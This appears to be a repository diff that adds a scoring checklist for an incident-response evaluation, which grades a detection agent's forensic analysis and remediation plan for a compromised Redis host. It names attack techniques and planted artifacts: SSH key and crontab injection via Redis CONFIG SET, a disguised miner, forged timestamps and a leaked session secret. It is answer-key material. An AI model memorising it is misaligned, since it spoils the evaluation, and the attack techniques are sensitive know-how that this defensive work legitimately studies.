| 11 |
+
],
|
| 12 |
+
"source": "SAS::describe_grouped_vul",
|
| 13 |
+
"uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf"
|
| 14 |
+
}
|
ranges/redis-rce/checklist.en.md
ADDED
|
@@ -0,0 +1,250 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-redis-rce Checklist
|
| 2 |
+
|
| 3 |
+
Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score.
|
| 4 |
+
|
| 5 |
+
- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge
|
| 6 |
+
- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the fix plan output by the detection Agent — LLM-as-a-Judge
|
| 7 |
+
- **detection-only**: plan score marked N/A, does not participate in the corresponding aggregation
|
| 8 |
+
|
| 9 |
+
## Dimension 1: Intrusion entity identification and remediation (4 items)
|
| 10 |
+
|
| 11 |
+
### CHK-01: Mining process detection `ENT-P01`
|
| 12 |
+
- **Evidence**: process `/var/tmp/.redis-bgsave` is running, or log `/var/tmp/.redis-bgsave.log` exists
|
| 13 |
+
- **Detection score** (3 pts)
|
| 14 |
+
- Discovery: identified that a mining process exists
|
| 15 |
+
- Evidence: point out the path `/var/tmp/.redis-bgsave`, recognize the disguised name (.redis-bgsave imitates the Redis background save process)
|
| 16 |
+
- Attribution: associate the mining process with the attacker's post-intrusion profit-seeking behavior
|
| 17 |
+
- **Plan score** (2 pts)
|
| 18 |
+
- Correctness: the plan gives the correct process termination command
|
| 19 |
+
- Completeness: the plan covers terminating the process + deleting the binary file and log + checking the persistence mechanism
|
| 20 |
+
|
| 21 |
+
### CHK-02: Mining binary cleanup `ENT-F02`
|
| 22 |
+
- **Evidence**: file `/var/tmp/.redis-bgsave` exists
|
| 23 |
+
- **Detection score** (3 pts)
|
| 24 |
+
- Discovery: identified the malicious file
|
| 25 |
+
- Evidence: point out the file path and type
|
| 26 |
+
- Attribution: associate it with mining behavior
|
| 27 |
+
- **Plan score** (2 pts)
|
| 28 |
+
- Correctness: the plan gives the correct deletion command
|
| 29 |
+
- Completeness: the plan suggests checking locations such as /var/tmp, /tmp for copies
|
| 30 |
+
|
| 31 |
+
### CHK-03: Attacker SSH public-key identification `ENT-F04`
|
| 32 |
+
- **Evidence**: `/root/.ssh/authorized_keys` contains a public key with the comment `attacker@redis-pwned`, and the file contains Redis RDB serialized binary data
|
| 33 |
+
- **Detection score** (3 pts)
|
| 34 |
+
- Discovery: found an anomalous SSH public-key entry
|
| 35 |
+
- Evidence: point out the public-key comment `attacker@redis-pwned` + the authorized_keys file contains an abnormal binary prefix (Redis RDB signature)
|
| 36 |
+
- Attribution: recognize that the SSH public key was written via Redis unauthorized access (not manually added)
|
| 37 |
+
- **Plan score** (2 pts)
|
| 38 |
+
- Correctness: the plan suggests deleting the attacker's public key
|
| 39 |
+
- Completeness: the plan explains that authorized_keys must be rebuilt (the entire file is polluted with Redis RDB format, cannot just delete one line)
|
| 40 |
+
|
| 41 |
+
### CHK-04: Redis-written crontab residue `ENT-F04`
|
| 42 |
+
- **Evidence**: `/var/spool/cron/crontabs/root` contains Redis RDB binary data + a mining crontab entry
|
| 43 |
+
- **Detection score** (3 pts)
|
| 44 |
+
- Discovery: found an anomalous crontab file
|
| 45 |
+
- Evidence: point out that the file contains RDB binary garbage data, not a normal crontab format
|
| 46 |
+
- Attribution: recognize it as a file written by Redis CONFIG SET + SAVE (same attack technique as authorized_keys)
|
| 47 |
+
- **Plan score** (2 pts)
|
| 48 |
+
- Correctness: the plan suggests deleting the file or rebuilding it empty
|
| 49 |
+
- Completeness: the plan explains that both `crontab -l` and the filesystem level must be checked
|
| 50 |
+
|
| 51 |
+
## Dimension 2: Baseline risk (8 items)
|
| 52 |
+
|
| 53 |
+
### CHK-05: Redis bind configuration `BAS-02`
|
| 54 |
+
- **Evidence**: `bind 0.0.0.0` in `/etc/redis/redis.conf` (listens on all interfaces)
|
| 55 |
+
- **Detection score** (3 pts)
|
| 56 |
+
- Discovery: identified that Redis listens on all network interfaces
|
| 57 |
+
- Evidence: cite the bind configuration in redis.conf
|
| 58 |
+
- Attribution: associate it with the attacker being able to access Redis from the external network
|
| 59 |
+
- **Plan score** (2 pts)
|
| 60 |
+
- Correctness: the plan suggests changing to `bind 127.0.0.1`
|
| 61 |
+
- Completeness: the plan considers application-level impact (e.g., other services depending on Redis network access)
|
| 62 |
+
|
| 63 |
+
### CHK-06: Redis requirepass `BAS-02`
|
| 64 |
+
- **Evidence**: Redis has no requirepass set (arbitrary commands can be executed without authentication)
|
| 65 |
+
- **Detection score** (3 pts)
|
| 66 |
+
- Discovery: identified that Redis has no password protection
|
| 67 |
+
- Evidence: `redis-cli CONFIG GET requirepass` returns empty
|
| 68 |
+
- Attribution: associate the lack of a password with the attacker being able to execute dangerous commands such as CONFIG SET
|
| 69 |
+
- **Plan score** (2 pts)
|
| 70 |
+
- Correctness: the plan suggests setting requirepass to a strong password
|
| 71 |
+
- Completeness: the plan includes client connection updates and password complexity requirements
|
| 72 |
+
|
| 73 |
+
### CHK-07: Redis protected-mode `BAS-02`
|
| 74 |
+
- **Evidence**: `protected-mode no` disables Redis's own security protection
|
| 75 |
+
- **Detection score** (3 pts)
|
| 76 |
+
- Discovery: identified that protected-mode is disabled
|
| 77 |
+
- Evidence: cite the redis.conf configuration
|
| 78 |
+
- Attribution: associate it with the Redis unauthorized-access capability
|
| 79 |
+
- **Plan score** (2 pts)
|
| 80 |
+
- Correctness: the plan suggests enabling protected-mode
|
| 81 |
+
- Completeness: the plan explains the combined use of protected-mode and requirepass
|
| 82 |
+
|
| 83 |
+
### CHK-08: Redis run-as user `BAS-02`
|
| 84 |
+
- **Evidence**: Redis runs as root (`ps -o user= -p $(pgrep redis-server)` returns root)
|
| 85 |
+
- **Detection score** (3 pts)
|
| 86 |
+
- Discovery: identified the serious risk of Redis running as root
|
| 87 |
+
- Evidence: process information shows the run-as user is root
|
| 88 |
+
- Attribution: point out that running as root is the key prerequisite for the attacker being able to write to /root/.ssh/
|
| 89 |
+
- **Plan score** (2 pts)
|
| 90 |
+
- Correctness: the plan suggests changing to run as a dedicated redis user
|
| 91 |
+
- Completeness: the plan includes file permission changes and systemd service user configuration
|
| 92 |
+
|
| 93 |
+
### CHK-09: Redis rename-command `BAS-02`
|
| 94 |
+
- **Evidence**: dangerous commands such as CONFIG, SAVE, FLUSHALL are not restricted
|
| 95 |
+
- **Detection score** (3 pts)
|
| 96 |
+
- Discovery: identified that dangerous commands are not restricted
|
| 97 |
+
- Evidence: CONFIG SET can be executed remotely directly
|
| 98 |
+
- Attribution: point out that the CONFIG/SAVE commands are core to writing the SSH key and crontab
|
| 99 |
+
- **Plan score** (2 pts)
|
| 100 |
+
- Correctness: the plan suggests using rename-command to rename or disable dangerous commands
|
| 101 |
+
- Completeness: the plan lists the commands to be restricted (CONFIG, SAVE, BGSAVE, FLUSHALL, DEBUG)
|
| 102 |
+
|
| 103 |
+
### CHK-10: SSH PermitRootLogin `BAS-01`
|
| 104 |
+
- **Evidence**: `PermitRootLogin yes` in `/etc/ssh/sshd_config`
|
| 105 |
+
- **Detection score** (3 pts)
|
| 106 |
+
- Discovery: identified the risk of direct root SSH login
|
| 107 |
+
- Evidence: cite the sshd_config configuration
|
| 108 |
+
- Attribution: associate it with the attacker logging in directly as root via the SSH key
|
| 109 |
+
- **Plan score** (2 pts)
|
| 110 |
+
- Correctness: the plan suggests changing to `no` or `prohibit-password`
|
| 111 |
+
- Completeness: the plan includes `sshd -t` validation and sshd restart
|
| 112 |
+
|
| 113 |
+
### CHK-11: deploy sudoers NOPASSWD `BAS-04`
|
| 114 |
+
- **Evidence**: `/etc/sudoers.d/deploy` grants `NOPASSWD: ALL`
|
| 115 |
+
- **Detection score** (3 pts)
|
| 116 |
+
- Discovery: identified overly permissive sudo privileges
|
| 117 |
+
- Evidence: cite the sudoers file content
|
| 118 |
+
- Attribution: point out that the attacker can use this to escalate privileges
|
| 119 |
+
- **Plan score** (2 pts)
|
| 120 |
+
- Correctness: the plan suggests restricting to specific commands or removing NOPASSWD
|
| 121 |
+
- Completeness: the plan includes `visudo -c` validation
|
| 122 |
+
|
| 123 |
+
### CHK-12: Redis session creds in bash_history `BAS-03`
|
| 124 |
+
- **Evidence**: `/home/deploy/.bash_history` contains a session token leaked by a Redis SET command (`session:admin ... s3cr3tK3y!2024`)
|
| 125 |
+
- **Detection score** (3 pts)
|
| 126 |
+
- Discovery: identified sensitive information in shell history
|
| 127 |
+
- Evidence: cite the specific history line
|
| 128 |
+
- Attribution: point out that the credential leak can be exploited by the attacker
|
| 129 |
+
- **Plan score** (2 pts)
|
| 130 |
+
- Correctness: the plan suggests clearing the sensitive history lines
|
| 131 |
+
- Completeness: the plan suggests using Redis ACL or application-level authentication instead of plaintext command-line operations
|
| 132 |
+
|
| 133 |
+
## Dimension 3: Persistence removal (5 items)
|
| 134 |
+
|
| 135 |
+
### CHK-13: SSH .ssh/rc persistence `PER-I01`
|
| 136 |
+
- **Evidence**: `/root/.ssh/rc` contains code disguised as a "Redis connection health check", which actually silently launches the mining program upon SSH login
|
| 137 |
+
- **Detection score** (3 pts)
|
| 138 |
+
- Discovery: identified malicious code in the SSH rc file
|
| 139 |
+
- Evidence: cite the /root/.ssh/rc content and the disguise comment
|
| 140 |
+
- Attribution: recognize it as a persistence mechanism auto-executed on SSH login (distinct from bashrc/profile.d)
|
| 141 |
+
- **Plan score** (2 pts)
|
| 142 |
+
- Correctness: the plan gives the command to delete /root/.ssh/rc
|
| 143 |
+
- Completeness: the plan suggests checking other users' ~/.ssh/rc
|
| 144 |
+
|
| 145 |
+
### CHK-14: init.d malicious script `PER-V01`
|
| 146 |
+
- **Evidence**: `/etc/init.d/redis-watchdog` — disguised as a Redis health monitoring daemon, actually launches the mining program
|
| 147 |
+
- **Detection score** (3 pts)
|
| 148 |
+
- Discovery: identified a suspicious init.d script
|
| 149 |
+
- Evidence: point out the script path and the actual executed content (points to /var/tmp/.redis-bgsave)
|
| 150 |
+
- Attribution: recognize it as init.d-level persistence (starts automatically at boot)
|
| 151 |
+
- **Plan score** (2 pts)
|
| 152 |
+
- Correctness: the plan gives the command to remove the script + `update-rc.d remove`
|
| 153 |
+
- Completeness: the plan includes post-cleanup verification steps
|
| 154 |
+
|
| 155 |
+
### CHK-15: init.d service masquerade `PER-V01` *detection-only*
|
| 156 |
+
- **Evidence**: the script name `redis-watchdog` and the description "Redis health monitoring daemon" imitate legitimate operations tooling
|
| 157 |
+
- **Detection score** (3 pts)
|
| 158 |
+
- Discovery: point out the disguise technique of the service name and LSB description
|
| 159 |
+
- Evidence: compare with legitimate Redis component naming (redis-server, redis-sentinel), point out that redis-watchdog is not an official component
|
| 160 |
+
- Attribution: recognize it as the attacker using name disguise to evade inspection
|
| 161 |
+
- **Plan score**: N/A (actual remediation is covered by CHK-14)
|
| 162 |
+
|
| 163 |
+
### CHK-16: Redis crontab file-signature ID `PER-S01` *detection-only*
|
| 164 |
+
- **Evidence**: `/var/spool/cron/crontabs/root` file begins with a Redis RDB format header (rather than normal crontab text)
|
| 165 |
+
- **Detection score** (3 pts)
|
| 166 |
+
- Discovery: identified an abnormal crontab file format
|
| 167 |
+
- Evidence: point out that the file contains binary data (Redis RDB signature), not a normal crontab format
|
| 168 |
+
- Attribution: determine it was written by the Redis CONFIG SET dir + SAVE attack technique
|
| 169 |
+
- **Plan score**: N/A (actual remediation is covered by CHK-04)
|
| 170 |
+
- **Bonus**: the Agent correlates the RDB signature of the crontab with the RDB signature of authorized_keys in its analysis
|
| 171 |
+
|
| 172 |
+
### CHK-17: Comprehensive persistence scan `Q-05` *detection-only*
|
| 173 |
+
- **Evidence**: no persistence mechanisms other than ~/.ssh/rc, init.d, crontab
|
| 174 |
+
- **Detection score** (3 pts)
|
| 175 |
+
- Discovery: perform a systematic persistence scan (systemd, profile.d, bashrc, at jobs, etc.)
|
| 176 |
+
- Evidence: record the scan scope and method
|
| 177 |
+
- Attribution: even if no additional items are found, demonstrate the thoroughness of the investigation
|
| 178 |
+
- **Plan score**: N/A
|
| 179 |
+
|
| 180 |
+
## Dimension 4: Evaluation-quality dimension (4 items)
|
| 181 |
+
|
| 182 |
+
### CHK-18: Redis unauthorized-access evidence `Q-02` `Q-03` *detection-only*
|
| 183 |
+
- **Evidence**:
|
| 184 |
+
- Redis logs (connection records may still exist after partial cleanup)
|
| 185 |
+
- Redis RDB binary signature in authorized_keys
|
| 186 |
+
- Redis RDB signature in the crontab file
|
| 187 |
+
- Redis CONFIG state (bind/protected-mode/requirepass)
|
| 188 |
+
- **Detection score** (3 pts)
|
| 189 |
+
- Discovery: cross-verify that Redis was exploited from multiple data sources
|
| 190 |
+
- Evidence: correlate the authorized_keys RDB signature + crontab RDB signature + Redis weak configuration
|
| 191 |
+
- Attribution: synthesize the evidence to establish the complete attack chain of Redis unauthorized access → SSH key injection
|
| 192 |
+
- **Plan score**: N/A
|
| 193 |
+
|
| 194 |
+
### CHK-19: Attacker-IP identification `Q-03` *detection-only*
|
| 195 |
+
- **Evidence**: the client connection IP in the Redis logs; the source IP of the key login in SSH auth.log
|
| 196 |
+
- **Detection score** (3 pts)
|
| 197 |
+
- Discovery: identify the attacker's source IP
|
| 198 |
+
- Evidence: cite the specific log lines and IP
|
| 199 |
+
- Attribution: associate that IP with the Redis access and SSH login
|
| 200 |
+
- **Plan score**: N/A
|
| 201 |
+
|
| 202 |
+
### CHK-20: Entry-point determination `Q-01` `Q-04` *detection-only*
|
| 203 |
+
- **Evidence**: Redis unauthorized access (CONFIG SET writing files), not SSH brute force, not CVE exploitation
|
| 204 |
+
- **Detection score** (3 pts)
|
| 205 |
+
- Discovery: correctly determine the entry point as "Redis unauthorized access"
|
| 206 |
+
- Evidence: cite the Redis weak configuration + authorized_keys RDB signature + absence of brute-force logs
|
| 207 |
+
- Attribution: rule out SSH brute force (no Failed password logs) and CVE (no exploitation traces)
|
| 208 |
+
- **Plan score**: N/A
|
| 209 |
+
- **Critical**: the Agent should not fabricate a CVE or misjudge it as SSH brute force
|
| 210 |
+
|
| 211 |
+
### CHK-21: Attack-timeline reconstruction `Q-02` *detection-only*
|
| 212 |
+
- **Evidence**: Redis log timestamps, SSH auth.log key login time, file mtime/ctime (note that the mining file's mtime was forged with touch -r, ctime must be compared)
|
| 213 |
+
- **Detection score** (3 pts)
|
| 214 |
+
- Discovery: construct a coherent attack timeline
|
| 215 |
+
- Evidence: Redis access → SSH key login → mining deployment → persistence installation
|
| 216 |
+
- Attribution: cross-correlate multiple timestamp sources
|
| 217 |
+
- **Plan score**: N/A
|
| 218 |
+
- **Bonus**: the Agent recognizes that the mining file's mtime was forged with `touch -r` (mtime matches redis-server but ctime is the attack time)
|
| 219 |
+
|
| 220 |
+
## Dimension 5: Remediation closed loop (4 items)
|
| 221 |
+
|
| 222 |
+
### CHK-22: Redis hardening verification `Q-07`
|
| 223 |
+
- **Evidence**: after the Redis configuration changes
|
| 224 |
+
- **Detection score** (3 pts)
|
| 225 |
+
- Discovery: suggest verifying the Redis hardening effect
|
| 226 |
+
- Evidence: explain that five items must be verified: bind + requirepass + protected-mode + run-as user + rename-command
|
| 227 |
+
- Attribution: reflect the completeness of the remediation operations
|
| 228 |
+
- **Plan score** (2 pts)
|
| 229 |
+
- Correctness: the plan gives the verification commands after Redis hardening
|
| 230 |
+
- Completeness: the plan includes re-verifying that the configuration takes effect after restarting Redis
|
| 231 |
+
|
| 232 |
+
### CHK-23: Port 6379 access restriction `BAS-07`
|
| 233 |
+
- **Evidence**: Redis port 6379 is open to the public network (inferable from the attacker connecting directly from the external network)
|
| 234 |
+
- **Detection score** (3 pts)
|
| 235 |
+
- Discovery: identified that the Redis port is open to the public network without restriction
|
| 236 |
+
- Evidence: the attacker executes Redis commands directly from the external network
|
| 237 |
+
- Attribution: associate the port exposure with the Redis unauthorized-access attack surface
|
| 238 |
+
- **Plan score** (2 pts)
|
| 239 |
+
- Correctness: the plan suggests firewall restriction of port 6379
|
| 240 |
+
- Completeness: the plan gives specific security-group/iptables rules
|
| 241 |
+
|
| 242 |
+
### CHK-24: Service restart and verification `Q-07`
|
| 243 |
+
- **Evidence**: Redis, Nginx, SSH should run normally after remediation
|
| 244 |
+
- **Detection score** (3 pts)
|
| 245 |
+
- Discovery: suggest verifying that the hardening operations did not affect business services
|
| 246 |
+
- Evidence: list the key services to be verified
|
| 247 |
+
- Attribution: reflect awareness of business impact
|
| 248 |
+
- **Plan score** (2 pts)
|
| 249 |
+
- Correctness: the plan lists the key service status check commands
|
| 250 |
+
- Completeness: the plan covers the three services Redis, Nginx, SSH
|
ranges/redis-rce/checklist.md
ADDED
|
@@ -0,0 +1,250 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-redis-rce 检查清单
|
| 2 |
+
|
| 3 |
+
评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。
|
| 4 |
+
|
| 5 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge
|
| 6 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge
|
| 7 |
+
- **仅检测项**:方案分标记 N/A,不参与对应汇总
|
| 8 |
+
|
| 9 |
+
## 维度 1:入侵实体识别与处置(4 项)
|
| 10 |
+
|
| 11 |
+
### CHK-01:挖矿进程检测 `ENT-P01`
|
| 12 |
+
- **证据**:进程 `/var/tmp/.redis-bgsave` 正在运行,或存在日志 `/var/tmp/.redis-bgsave.log`
|
| 13 |
+
- **检测分**(3 分)
|
| 14 |
+
- 发现:识别到挖矿进程存在
|
| 15 |
+
- 证据:指出路径 `/var/tmp/.redis-bgsave`,识别伪装名称(.redis-bgsave 模仿 Redis 后台保存进程)
|
| 16 |
+
- 归因:将挖矿进程与攻击者入侵后的牟利行为关联
|
| 17 |
+
- **方案分**(2 分)
|
| 18 |
+
- 正确性:方案给出正确的进程终止命令
|
| 19 |
+
- 完整性:方案涵盖终止进程 + 删除二进制文件和日志 + 检查守护机制
|
| 20 |
+
|
| 21 |
+
### CHK-02:挖矿二进制文件清理 `ENT-F02`
|
| 22 |
+
- **证据**:文件 `/var/tmp/.redis-bgsave` 存在
|
| 23 |
+
- **检测分**(3 分)
|
| 24 |
+
- 发现:识别到恶意文件
|
| 25 |
+
- 证据:指出文件路径和类型
|
| 26 |
+
- 归因:将其与挖矿行为关联
|
| 27 |
+
- **方案分**(2 分)
|
| 28 |
+
- 正确性:方案给出正确的删除命令
|
| 29 |
+
- 完整性:方案建议检查 /var/tmp、/tmp 等位置是否有副本
|
| 30 |
+
|
| 31 |
+
### CHK-03:攻击者 SSH 公钥识别 `ENT-F04`
|
| 32 |
+
- **证据**:`/root/.ssh/authorized_keys` 中包含 `attacker@redis-pwned` 注释的公钥,且文件含 Redis RDB 序列化二进制数据
|
| 33 |
+
- **检测分**(3 分)
|
| 34 |
+
- 发现:发现异常的 SSH 公钥条目
|
| 35 |
+
- 证据:指出公钥注释 `attacker@redis-pwned` + authorized_keys 文件包含非正常的二进制前缀(Redis RDB 特征)
|
| 36 |
+
- 归因:识别出 SSH 公钥是通过 Redis 未授权访问写入的(非手动添加)
|
| 37 |
+
- **方案分**(2 分)
|
| 38 |
+
- 正确性:方案建议删除攻击者公钥
|
| 39 |
+
- 完整性:方案说明需重建 authorized_keys(整个文件被 Redis RDB 格式污染,不能只删一行)
|
| 40 |
+
|
| 41 |
+
### CHK-04:Redis 写入的 crontab 残留 `ENT-F04`
|
| 42 |
+
- **证据**:`/var/spool/cron/crontabs/root` 包含 Redis RDB 二进制数据 + 挖矿 crontab 条目
|
| 43 |
+
- **检测分**(3 分)
|
| 44 |
+
- 发现:发现异常的 crontab 文件
|
| 45 |
+
- 证据:指出文件含 RDB 二进制垃圾数据,非正常 crontab 格式
|
| 46 |
+
- 归因:识别为 Redis CONFIG SET + SAVE 写入的文件(与 authorized_keys 同一攻击手法)
|
| 47 |
+
- **方案分**(2 分)
|
| 48 |
+
- 正确性:方案建议删除该文件或重建为空
|
| 49 |
+
- 完整性:方案说明需同时检查 `crontab -l` 和文件系统层面
|
| 50 |
+
|
| 51 |
+
## 维度 2:基线风险(8 项)
|
| 52 |
+
|
| 53 |
+
### CHK-05:Redis bind 配置 `BAS-02`
|
| 54 |
+
- **证据**:`/etc/redis/redis.conf` 中 `bind 0.0.0.0`(监听所有接口)
|
| 55 |
+
- **检测分**(3 分)
|
| 56 |
+
- 发现:识别到 Redis 监听所有网络接口
|
| 57 |
+
- 证据:引用 redis.conf 中的 bind 配置
|
| 58 |
+
- 归因:将其与攻击者能从外网访问 Redis 关联
|
| 59 |
+
- **方案分**(2 分)
|
| 60 |
+
- 正确性:方案建议改为 `bind 127.0.0.1`
|
| 61 |
+
- 完整性:方案考虑了应用层面的影响(如其他服务依赖 Redis 网络访问)
|
| 62 |
+
|
| 63 |
+
### CHK-06:Redis requirepass `BAS-02`
|
| 64 |
+
- **证据**:Redis 未设置 requirepass(无认证即可执行任意命令)
|
| 65 |
+
- **检测分**(3 分)
|
| 66 |
+
- 发现:识别到 Redis 无密码保护
|
| 67 |
+
- 证据:`redis-cli CONFIG GET requirepass` 返回空
|
| 68 |
+
- 归因:将无密码与攻击者能执行 CONFIG SET 等危险命令关联
|
| 69 |
+
- **方案分**(2 分)
|
| 70 |
+
- 正确性:方案建议设置 requirepass 为强密码
|
| 71 |
+
- 完整性:方案包含客户端连接更新和密码复杂度要求
|
| 72 |
+
|
| 73 |
+
### CHK-07:Redis protected-mode `BAS-02`
|
| 74 |
+
- **证据**:`protected-mode no` 关闭了 Redis 自身的安全防护
|
| 75 |
+
- **检测分**(3 分)
|
| 76 |
+
- 发现:识别到 protected-mode 被禁用
|
| 77 |
+
- 证据:引用 redis.conf 配置
|
| 78 |
+
- 归因:将其与 Redis 未授权访问能力关联
|
| 79 |
+
- **方案分**(2 分)
|
| 80 |
+
- 正确性:方案建议开启 protected-mode
|
| 81 |
+
- 完整性:方案说明 protected-mode 与 requirepass 的组合使用
|
| 82 |
+
|
| 83 |
+
### CHK-08:Redis 运行用户 `BAS-02`
|
| 84 |
+
- **证据**:Redis 以 root 身份运行(`ps -o user= -p $(pgrep redis-server)` 返回 root)
|
| 85 |
+
- **检测分**(3 分)
|
| 86 |
+
- 发现:识别到 Redis 以 root 运行的严重风险
|
| 87 |
+
- 证据:进程信息显示运行用户为 root
|
| 88 |
+
- 归因:指出 root 运行是攻击者能写入 /root/.ssh/ 的关键前提
|
| 89 |
+
- **方案分**(2 分)
|
| 90 |
+
- 正确性:方案建议改为 redis 专用用户运行
|
| 91 |
+
- 完整性:方案包含文件权限修改和 systemd service 用户配置
|
| 92 |
+
|
| 93 |
+
### CHK-09:Redis rename-command `BAS-02`
|
| 94 |
+
- **证据**:CONFIG、SAVE、FLUSHALL 等危险命令未被限制
|
| 95 |
+
- **检测分**(3 分)
|
| 96 |
+
- 发现:识别到危险命令未限制
|
| 97 |
+
- 证据:可直接远程执行 CONFIG SET
|
| 98 |
+
- 归因:指出 CONFIG/SAVE 命令是写入 SSH 密钥和 crontab 的核心
|
| 99 |
+
- **方案分**(2 分)
|
| 100 |
+
- 正确性:方案建议使用 rename-command 重命名或禁用危险命令
|
| 101 |
+
- 完整性:方案列出需限制的命令清单(CONFIG、SAVE、BGSAVE、FLUSHALL、DEBUG)
|
| 102 |
+
|
| 103 |
+
### CHK-10:SSH PermitRootLogin `BAS-01`
|
| 104 |
+
- **证据**:`/etc/ssh/sshd_config` 中 `PermitRootLogin yes`
|
| 105 |
+
- **检测分**(3 分)
|
| 106 |
+
